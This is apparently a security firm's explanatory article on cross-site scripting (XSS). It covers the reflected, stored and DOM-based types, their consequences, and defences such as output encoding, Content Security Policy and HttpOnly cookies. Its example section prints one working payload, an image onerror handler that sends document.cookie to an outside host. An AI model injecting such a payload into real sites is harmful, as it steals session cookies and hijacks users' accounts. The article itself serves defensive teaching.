XSS attack: what it is, an example and how to protect a website

How XSS (cross-site scripting) works, examples of reflected, stored and DOM-based attacks, and the measures that prevent them: output encoding, Content Security Policy and protected cookies.

OfSec 3 min read

XSS (cross-site scripting) is a vulnerability in which a website shows its visitors text supplied by an outsider as code. The browser runs that code on behalf of the site, with access to everything the page can see: its content, its forms and the logged-in user's session.

Example

An online shop's search page shows "Results for: …" using text from the page address without processing it. If someone sends a customer a link where the search term is replaced with

<img src=x onerror="fetch('https://example.net/?c='+document.cookie)">

the customer's browser runs the code and sends their cookies to an outside server. If the session cookie is among them, the attacker can log into the account without a password.

Types

  • Reflected: the code is in the link itself and runs only when the link is opened. It spreads through phishing emails and messages.
  • Stored: the code is saved in the database, for example in a comment, a review or a product name, and runs for everyone who opens the page. This is the most dangerous type because it also reaches administrators when they review content in the admin panel.
  • DOM-based: the vulnerable part is JavaScript in the browser that inserts data from the address or a form into the page, for example with innerHTML. The server never sees the attack.

Consequences

  • hijacked sessions and accounts, including administrator accounts;
  • altered page content, for example a replaced bank account in an order or a fake login form;
  • theft of the data customers enter. If it includes personal data, this is usually a personal data breach under the GDPR and may require notifying the data protection authority.

Protection

  1. Encode all output for the context where it appears: HTML, attribute, JavaScript or URL. Modern template engines and libraries such as React do this by default. Vulnerabilities appear where a developer switches the protection off (dangerouslySetInnerHTML, |safe, {!! !!}).
  2. Do not insert data into the page with innerHTML or document.write. Use textContent.
  3. Where HTML must be accepted, for example in an article editor, sanitise it with a proven library such as DOMPurify and allow only explicitly permitted elements.
  4. Add a Content Security Policy that forbids inline scripts and scripts from other domains. It does not fix the vulnerability, but it stops most attacks from running.
  5. Mark session cookies HttpOnly, Secure and SameSite. HttpOnly prevents JavaScript from reading them.
  6. Validate input by type and length. This narrows what an attacker can do, but it does not replace output encoding.

How it is found

Automated scanners find some reflected XSS. Stored and DOM-based vulnerabilities often require manual testing of every field where users enter text and of the code that displays it. A web application penetration test therefore combines both approaches.

WebsitesWeb applications